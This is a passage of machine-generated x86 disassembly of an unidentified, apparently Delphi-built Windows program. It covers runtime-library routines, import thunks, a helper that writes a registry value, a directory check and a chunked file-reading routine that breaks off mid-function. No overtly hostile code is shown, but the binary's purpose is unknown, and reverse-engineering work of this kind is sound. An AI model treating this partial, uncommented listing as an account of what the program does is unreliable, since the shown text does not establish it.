var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ecx
		mov	esi, edx
		mov	[ebp+var_4], eax
		mov	ebx, [ebp+var_4]
		mov	ebx, [ebx]
		mov	eax, [ebp+arg_0]
		mov	edi, [eax]
		test	edi, edi
		jg	short loc_402695
		test	edi, edi
		jge	short loc_402686
		mov	al, 4
		call	sub_40121C
; ---------------------------------------------------------------------------


loc_402686:				; CODE XREF: sub_40265C+21j
		mov	eax, [ebp+var_4]
		mov	edx, esi
		call	sub_402654
		jmp	loc_4027DF
; ---------------------------------------------------------------------------


loc_402695:				; CODE XREF: sub_40265C+1Dj
		xor	eax, eax
		mov	[ebp+var_10], eax
		test	ebx, ebx
		jz	short loc_4026A9
		sub	ebx, 4
		mov	eax, [ebx]
		mov	[ebp+var_10], eax
		sub	ebx, 4


loc_4026A9:				; CODE XREF: sub_40265C+40j
		xor	eax, eax
		mov	al, [esi+1]
		add	esi, eax
		mov	eax, esi
		mov	edx, [eax+2]
		mov	[ebp+var_18], edx
		mov	edx, [eax+6]
		test	edx, edx
		jz	short loc_4026C3
		mov	esi, [edx]
		jmp	short loc_4026C5
; ---------------------------------------------------------------------------


loc_4026C3:				; CODE XREF: sub_40265C+61j
		xor	esi, esi


loc_4026C5:				; CODE XREF: sub_40265C+65j
		mov	eax, edi
		imul	[ebp+var_18]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		cdq
		idiv	edi
		cmp	eax, [ebp+var_18]
		jz	short loc_4026DF
		mov	al, 4
		call	sub_40121C
; ---------------------------------------------------------------------------


loc_4026DF:				; CODE XREF: sub_40265C+7Aj
		add	[ebp+var_1C], 8
		test	ebx, ebx
		jz	short loc_4026EC
		cmp	dword ptr [ebx], 1
		jnz	short loc_402721


loc_4026EC:				; CODE XREF: sub_40265C+89j
		mov	[ebp+var_20], ebx
		cmp	edi, [ebp+var_10]
		jge	short loc_402711
		test	esi, esi
		jz	short loc_402711
		mov	eax, ebx
		add	eax, 8
		mov	edx, edi
		imul	edx, [ebp+var_18]
		add	eax, edx
		mov	ecx, [ebp+var_10]
		sub	ecx, edi
		mov	edx, esi
		call	sub_40264C


loc_402711:				; CODE XREF: sub_40265C+96j
					; sub_40265C+9Aj
		lea	eax, [ebp+var_20]
		mov	edx, [ebp+var_1C]
		call	sub_401174
		mov	ebx, [ebp+var_20]
		jmp	short loc_40277F
; ---------------------------------------------------------------------------


loc_402721:				; CODE XREF: sub_40265C+8Ej
		dec	dword ptr [ebx]
		mov	eax, [ebp+var_1C]
		call	sub_401144
		mov	ebx, eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_14], eax
		cmp	edi, [ebp+var_14]
		jge	short loc_40273B
		mov	[ebp+var_14], edi


loc_40273B:				; CODE XREF: sub_40265C+DAj
		test	esi, esi
		jz	short loc_402769
		mov	edx, [ebp+var_14]
		imul	edx, [ebp+var_18]
		mov	eax, ebx
		add	eax, 8
		xor	ecx, ecx
		call	sub_4018A8
		mov	eax, [ebp+var_14]
		push	eax
		mov	edx, [ebp+var_4]
		mov	edx, [edx]
		mov	eax, ebx
		add	eax, 8
		mov	ecx, esi
		call	sub_40263C
		jmp	short loc_40277F
; ---------------------------------------------------------------------------


loc_402769:				; CODE XREF: sub_40265C+E1j
		mov	ecx, [ebp+var_14]
		imul	ecx, [ebp+var_18]
		mov	edx, ebx
		add	edx, 8
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		call	sub_401264


loc_40277F:				; CODE XREF: sub_40265C+C3j
					; sub_40265C+10Bj
		mov	dword ptr [ebx], 1
		add	ebx, 4
		mov	[ebx], edi
		add	ebx, 4
		mov	edx, edi
		sub	edx, [ebp+var_10]
		imul	edx, [ebp+var_18]
		mov	eax, [ebp+var_18]
		imul	eax, [ebp+var_10]
		add	eax, ebx
		xor	ecx, ecx
		call	sub_4018A8
		cmp	[ebp+var_8], 1
		jle	short loc_4027DA
		add	[ebp+arg_0], 4
		dec	[ebp+var_8]
		dec	edi
		test	edi, edi
		jl	short loc_4027DA
		inc	edi
		mov	[ebp+var_C], 0


loc_4027C0:				; CODE XREF: sub_40265C+17Cj
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+var_C]
		lea	eax, [ebx+eax*4]
		mov	ecx, [ebp+var_8]
		mov	edx, esi
		call	sub_40265C
		inc	[ebp+var_C]
		dec	edi
		jnz	short loc_4027C0


loc_4027DA:				; CODE XREF: sub_40265C+14Ej
					; sub_40265C+15Aj
		mov	eax, [ebp+var_4]
		mov	[eax], ebx


loc_4027DF:				; CODE XREF: sub_40265C+34j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40265C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4027E8	proc near		; CODE XREF: sub_403168+81p
					; sub_403168+132p

var_4		= dword	ptr -4

		push	esp
		add	[esp+4+var_4], 4
		call	sub_40265C
		retn
sub_4027E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4027F4	proc near		; CODE XREF: sub_402260+D2p
					; sub_402654p ...
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short locret_40282C
		mov	dword ptr [eax], 0
		dec	dword ptr [ecx-8]
		jnz	short locret_40282C
		push	eax
		mov	eax, ecx
		xor	ecx, ecx
		mov	cl, [edx+1]
		mov	edx, [ecx+edx+6]
		test	edx, edx
		jz	short loc_402823
		mov	ecx, [eax-4]
		test	ecx, ecx
		jz	short loc_402823
		mov	edx, [edx]
		call	sub_402260


loc_402823:				; CODE XREF: sub_4027F4+1Fj
					; sub_4027F4+26j
		sub	eax, 8
		call	sub_40115C
		pop	eax

locret_40282C:				; CODE XREF: sub_4027F4+4j
					; sub_4027F4+Fj
		retn
sub_4027F4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402830	proc near		; CODE XREF: sub_402350+EFp
					; sub_40246C+DDp
		push	ebx
		mov	ebx, [eax]
		test	edx, edx
		jz	short loc_40283A
		inc	dword ptr [edx-8]


loc_40283A:				; CODE XREF: sub_402830+5j
		test	ebx, ebx
		jz	short loc_402851
		dec	dword ptr [ebx-8]
		jnz	short loc_402851
		push	eax
		push	edx
		mov	edx, ecx
		inc	dword ptr [ebx-8]
		call	sub_4027F4
		pop	edx
		pop	eax


loc_402851:				; CODE XREF: sub_402830+Cj
					; sub_402830+11j
		mov	[eax], edx
		pop	ebx
		retn
sub_402830	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402858	proc near		; CODE XREF: sub_4029DC+5p
		mov	edx, ds:off_405018
		mov	[eax], edx
		mov	ds:off_405018, eax
		retn
sub_402858	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402868	proc near		; CODE XREF: sub_401CDC+66p
					; DATA XREF: DATA:off_405020o
		push	ebx
		push	esi
		mov	esi, eax
		mov	ebx, ds:dword_40501C
		test	ebx, ebx
		jz	short loc_402882


loc_402876:				; CODE XREF: sub_402868+18j
		mov	eax, [esi+4]
		call	dword ptr [ebx+4]
		mov	ebx, [ebx]
		test	ebx, ebx
		jnz	short loc_402876


loc_402882:				; CODE XREF: sub_402868+Cj
		pop	esi
		pop	ebx
		retn
sub_402868	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402888	proc near		; CODE XREF: sub_402260+C1p
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_40289C
		mov	dword ptr [eax], 0
		push	eax
		push	edx
		mov	eax, [edx]
		call	dword ptr [eax+8]
		pop	eax

locret_40289C:				; CODE XREF: sub_402888+4j
		retn
sub_402888	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4028A0	proc near		; CODE XREF: sub_402350+DCp
					; sub_40246C+C7p
		test	edx, edx
		jz	short loc_4028BD
		push	edx
		push	eax
		mov	eax, [edx]
		push	edx
		call	dword ptr [eax+4]
		pop	eax
		mov	ecx, [eax]
		pop	dword ptr [eax]
		test	ecx, ecx
		jnz	short loc_4028B6
		retn
; ---------------------------------------------------------------------------


loc_4028B6:				; CODE XREF: sub_4028A0+13j
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]
		retn
; ---------------------------------------------------------------------------


loc_4028BD:				; CODE XREF: sub_4028A0+2j
		mov	ecx, [eax]
		test	ecx, ecx
		mov	[eax], edx
		jz	short locret_4028CB
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]

locret_4028CB:				; CODE XREF: sub_4028A0+23j
		retn
sub_4028A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4028CC	proc near		; DATA XREF: CODE:00403F78o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_402908
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4063BC
		jnz	short loc_4028FA
		cmp	ds:dword_4063F0, 0
		jz	short loc_4028F4
		call	ds:dword_4063F0


loc_4028F4:				; CODE XREF: sub_4028CC+20j
		call	ds:off_405038


loc_4028FA:				; CODE XREF: sub_4028CC+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40290F


loc_402907:				; CODE XREF: sub_4028CC+41j
		retn
; ---------------------------------------------------------------------------


loc_402908:				; DATA XREF: sub_4028CC+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_402907
; ---------------------------------------------------------------------------


loc_40290F:				; CODE XREF: sub_4028CC:loc_402907j
					; DATA XREF: sub_4028CC+36o
		pop	ebp
		retn
sub_4028CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402914	proc near		; DATA XREF: CODE:00403F74o
		sub	ds:dword_4063BC, 1
		jnb	short locret_402940
		call	sub_40100C	; GetProcessHeap
		mov	ds:dword_4063C0, eax
		mov	ds:off_406000, offset sub_4025B8
		call	sub_402580
		call	sub_4010EC	; GetCurrentThreadId
		mov	ds:dword_406018, eax

locret_402940:				; CODE XREF: sub_402914+7j
		retn
sub_402914	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402944	proc near		; CODE XREF: sub_402958+21p
		push	eax
		push	40h
		call	sub_401044	; LocalAlloc
		retn
sub_402944	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402950	proc near		; CODE XREF: sub_402958+1p
		mov	eax, 4
		retn
sub_402950	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402958	proc near		; CODE XREF: sub_40299C:loc_4029B6p
		push	ebx
		call	sub_402950
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40299A
		cmp	ds:TlsIndex, 0FFFFFFFFh
		jnz	short loc_402977
		mov	eax, 0E2h
		call	sub_401DB8
; ---------------------------------------------------------------------------


loc_402977:				; CODE XREF: sub_402958+13j
		mov	eax, ebx
		call	sub_402944
		test	eax, eax
		jnz	short loc_40298E
		mov	eax, 0E2h
		call	sub_401DB8
; ---------------------------------------------------------------------------
		jmp	short loc_40299A
; ---------------------------------------------------------------------------


loc_40298E:				; CODE XREF: sub_402958+28j
		push	eax
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_401054	; TlsSetValue


loc_40299A:				; CODE XREF: sub_402958+Aj
					; sub_402958+34j
		pop	ebx
		retn
sub_402958	endp


; =============== S U B	R O U T	I N E =======================================



sub_40299C	proc near		; CODE XREF: sub_4011D0+20p
					; sub_401228+3p ...
		mov	cl, ds:byte_4064A0
		mov	eax, ds:TlsIndex
		test	cl, cl
		jnz	short loc_4029D1
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ---------------------------------------------------------------------------


loc_4029B6:				; CODE XREF: sub_40299C+3Dj
		call	sub_402958
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_40104C	; TlsGetValue
		test	eax, eax
		jz	short loc_4029CB
		retn
; ---------------------------------------------------------------------------


loc_4029CB:				; CODE XREF: sub_40299C+2Cj
		mov	eax, ds:dword_4064B4
		retn
; ---------------------------------------------------------------------------


loc_4029D1:				; CODE XREF: sub_40299C+Dj
		push	eax
		call	sub_40104C	; TlsGetValue
		test	eax, eax
		jz	short loc_4029B6
		retn
sub_40299C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4029DC	proc near		; CODE XREF: sub_4029E8+2Ep
		mov	eax, offset dword_40508C
		call	sub_402858
		retn
sub_4029DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4029E8	proc near		; CODE XREF: CODE:00403FE3p
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	ds:TlsIndex, eax
		push	0
		call	sub_40103C	; GetModuleHandleA
		mov	ds:dword_4064AC, eax
		mov	eax, ds:dword_4064AC
		mov	ds:dword_405090, eax
		xor	eax, eax
		mov	ds:dword_405094, eax
		xor	eax, eax
		mov	ds:dword_405098, eax
		call	sub_4029DC
		mov	edx, offset dword_40508C
		mov	eax, ebx
		call	sub_401C70
		pop	ebx
		retn
sub_4029E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A2C	proc near		; DATA XREF: CODE:00403F70o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_402A51
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4064B0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402A58


loc_402A50:				; CODE XREF: sub_402A2C+2Aj
		retn
; ---------------------------------------------------------------------------


loc_402A51:				; DATA XREF: sub_402A2C+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_402A50
; ---------------------------------------------------------------------------


loc_402A58:				; CODE XREF: sub_402A2C:loc_402A50j
					; DATA XREF: sub_402A2C+1Fo
		pop	ebp
		retn
sub_402A2C	endp

; ---------------------------------------------------------------------------
		align 4


loc_402A5C:				; DATA XREF: CODE:off_403F6Co
		sub	ds:dword_4064B0, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A64	proc near		; DATA XREF: CODE:00403F80o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_402A89
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4064B8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402A90


loc_402A88:				; CODE XREF: sub_402A64+2Aj
		retn
; ---------------------------------------------------------------------------


loc_402A89:				; DATA XREF: sub_402A64+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_402A88
; ---------------------------------------------------------------------------


loc_402A90:				; CODE XREF: sub_402A64:loc_402A88j
					; DATA XREF: sub_402A64+1Fo
		pop	ebp
		retn
sub_402A64	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402A94	proc near		; DATA XREF: CODE:00403F7Co
		sub	ds:dword_4064B8, 1
		retn
sub_402A94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402A9C	proc near		; CODE XREF: sub_402C0C+76p
		jmp	ds:dword_407128
sub_402A9C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402AA4	proc near		; CODE XREF: sub_402C0C+43p
		jmp	ds:dword_407124
sub_402AA4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402AAC	proc near		; CODE XREF: sub_402C0C+6Dp
		jmp	ds:dword_407120
sub_402AAC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402AB4	proc near		; CODE XREF: sub_402E38+12Fp
					; sub_402E38+137p ...
		jmp	ds:dword_407194
sub_402AB4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402ABC	proc near		; CODE XREF: CODE:00404731p
		jmp	ds:dword_407190
sub_402ABC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402AC4	proc near		; CODE XREF: sub_402E38+45p
					; sub_403038+5Ep
		jmp	ds:dword_40718C
sub_402AC4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402ACC	proc near		; CODE XREF: sub_403640+8Bp
		jmp	ds:dword_407188
sub_402ACC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402AD4	proc near		; CODE XREF: sub_403038+79p
		jmp	ds:dword_407184
sub_402AD4	endp

; ---------------------------------------------------------------------------
		align 4
		jmp	ds:dword_407180
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402AE4	proc near		; CODE XREF: sub_403368+Dp
		jmp	ds:dword_40717C
sub_402AE4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402AEC	proc near		; CODE XREF: sub_403368+3Dp
		jmp	ds:dword_407178
sub_402AEC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402AF4	proc near		; CODE XREF: sub_4033B0+55p
		jmp	ds:dword_407174
sub_402AF4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402AFC	proc near		; CODE XREF: sub_402CB8+Bp
		jmp	ds:dword_407170
sub_402AFC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402B04	proc near		; CODE XREF: sub_402E38+E7p
		jmp	ds:dword_40716C
sub_402B04	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402B0C	proc near		; CODE XREF: sub_40348C+19p
					; sub_40350C+19p ...
		jmp	ds:dword_407168
sub_402B0C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402B14	proc near		; CODE XREF: sub_40348C+1Fp
					; sub_40350C+1Fp ...
		jmp	ds:dword_407164
sub_402B14	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402B1C	proc near		; CODE XREF: sub_403640+BFp
		jmp	ds:dword_407160
sub_402B1C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402B24	proc near		; CODE XREF: sub_403368+29p
		jmp	ds:dword_40715C
sub_402B24	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402B2C	proc near		; CODE XREF: sub_403368+31p
		jmp	ds:dword_407158
sub_402B2C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402B34	proc near		; CODE XREF: sub_402E38+65p
					; sub_402E38+95p ...
		jmp	ds:dword_407154
sub_402B34	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402B3C	proc near		; CODE XREF: sub_403640+E4p
		jmp	ds:dword_407150
sub_402B3C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402B44	proc near		; CODE XREF: sub_403640+247p
		jmp	ds:dword_40714C
sub_402B44	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402B4C	proc near		; CODE XREF: sub_402E38+53p
					; sub_402E38+7Dp ...
		jmp	ds:dword_407148
sub_402B4C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402B54	proc near		; CODE XREF: sub_40348C+34p
					; sub_40350C+34p
		jmp	ds:dword_407144
sub_402B54	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402B5C	proc near		; CODE XREF: sub_403640+215p
		jmp	ds:dword_407140
sub_402B5C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402B64	proc near		; CODE XREF: sub_403368+1Bp
		jmp	ds:dword_40713C
sub_402B64	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402B6C	proc near		; CODE XREF: CODE:004043AEp
					; CODE:004043F1p
		jmp	ds:dword_407138
sub_402B6C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402B74	proc near		; CODE XREF: sub_403640+23Cp
		jmp	ds:dword_407134
sub_402B74	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402B7C	proc near		; CODE XREF: sub_403640+15Ep
					; sub_403640+1A7p ...
		jmp	ds:dword_407130
sub_402B7C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402B84	proc near		; CODE XREF: sub_403168+6Cp
					; CODE:00404047p
		xor	ecx, ecx
		call	sub_4018A8
		retn
sub_402B84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B8C	proc near		; DATA XREF: CODE:00403F88o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_402BB1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4064BC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402BB8


loc_402BB0:				; CODE XREF: sub_402B8C+2Aj
		retn
; ---------------------------------------------------------------------------


loc_402BB1:				; DATA XREF: sub_402B8C+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_402BB0
; ---------------------------------------------------------------------------


loc_402BB8:				; CODE XREF: sub_402B8C:loc_402BB0j
					; DATA XREF: sub_402B8C+1Fo
		pop	ebp
		retn
sub_402B8C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402BBC	proc near		; DATA XREF: CODE:00403F84o
		sub	ds:dword_4064BC, 1
		retn
sub_402BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402BC4	proc near		; CODE XREF: sub_403038+73p
		jmp	ds:dword_4071A0
sub_402BC4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402BCC	proc near		; CODE XREF: CODE:0040433Ep
					; CODE:0040455Bp
		jmp	ds:dword_40719C
sub_402BCC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402BD4	proc near		; DATA XREF: CODE:00403F90o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_402BF9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4064C0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402C00


loc_402BF8:				; CODE XREF: sub_402BD4+2Aj
		retn
; ---------------------------------------------------------------------------


loc_402BF9:				; DATA XREF: sub_402BD4+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_402BF8
; ---------------------------------------------------------------------------


loc_402C00:				; CODE XREF: sub_402BD4:loc_402BF8j
					; DATA XREF: sub_402BD4+1Fo
		pop	ebp
		retn
sub_402BD4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_402C04	proc near		; DATA XREF: CODE:00403F8Co
		sub	ds:dword_4064C0, 1
		retn
sub_402C04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C0C	proc near		; CODE XREF: CODE:0040477Bp
					; CODE:00404799p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00401B94 SIZE 00000036 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		call	sub_402048
		mov	eax, [ebp+var_8]
		call	sub_402048
		mov	eax, [ebp+arg_0]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_402CAA
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_402058
		push	eax
		push	ebx
		call	sub_402AA4	; RegOpenKeyA
		mov	eax, [ebp+arg_0]
		call	sub_401F04
		mov	ebx, eax
		push	ebx
		lea	eax, [ebp+arg_0]
		call	sub_4020AC
		push	eax
		push	1
		push	0
		mov	eax, [ebp+var_8]
		call	sub_402058
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_402AAC	; RegSetValueExA
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_402A9C	; RegCloseKey
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_402CB1


loc_402C94:				; CODE XREF: sub_402C0C+A3j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_401DE8
		lea	eax, [ebp+arg_0]
		call	sub_401DC4
		retn
; ---------------------------------------------------------------------------


loc_402CAA:				; DATA XREF: sub_402C0C+2Ao
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_402C94
; ---------------------------------------------------------------------------


loc_402CB1:				; CODE XREF: sub_402C0C+9Dj
					; DATA XREF: sub_402C0C+83o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_402C0C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402CB8	proc near		; CODE XREF: CODE:0040445Ep
					; CODE:004046BCp
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_402058
		push	eax
		call	sub_402AFC	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_402CD1
		test	al, 10h
		jnz	short loc_402CD5


loc_402CD1:				; CODE XREF: sub_402CB8+13j
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_402CD5:				; CODE XREF: sub_402CB8+17j
		mov	al, 1
		pop	ebx
		retn
sub_402CB8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402CDC	proc near		; CODE XREF: CODE:004042B2p

var_15C		= byte ptr -15Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEA4h
		push	ebx
		push	esi
		push	edi
		xor	ecx, ecx
		mov	[ebp+var_8], ecx
		mov	esi, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_402E29
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		call	sub_401DC4
		mov	eax, ds:off_4050C4
		mov	byte ptr [eax],	0
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_15C]
		call	sub_4016A4
		mov	edx, 1
		lea	eax, [ebp+var_15C]
		call	sub_4019EC
		call	sub_401228
		lea	eax, [ebp+var_15C]
		call	sub_40185C
		call	sub_401228
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 400h
		jle	short loc_402DCA


loc_402D56:				; CODE XREF: sub_402CDC+ECj
		lea	eax, [ebp+var_8]
		mov	edx, 400h
		call	sub_402184
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		call	sub_4020AC
		mov	edx, eax
		mov	ecx, 400h
		lea	eax, [ebp+var_15C]
		call	sub_4017A8
		call	sub_401228
		mov	eax, esi
		mov	edx, [ebp+var_8]
		call	sub_401F0C
		mov	eax, [ebp+var_10]
		sub	[ebp+var_C], eax
		lea	eax, [ebp+var_15C]
		call	sub_40185C
		call	sub_401228
		mov	ecx, 64h
		cdq
		idiv	ecx
		mov	edi, eax
		xor	ebx, ebx
		jmp	short loc_402DB6
; ---------------------------------------------------------------------------


loc_402DB4:				; CODE XREF: sub_402CDC+E3j
		add	ebx, edi


loc_402DB6:				; CODE XREF: sub_402CDC+D6j
		mov	eax, [esi]
		call	sub_401F04
		cmp	ebx, eax
		jl	short loc_402DB4
		cmp	[ebp+var_C], 400h
		jg	short loc_402D56


loc_402DCA:				; CODE XREF: sub_402CDC+78j
		lea	eax, [ebp+var_8]
		mov	edx, [ebp+var_C]
		call	sub_402184
		push	0
		lea	eax, [ebp+var_8]
		call	sub_4020AC
		mov	edx, eax
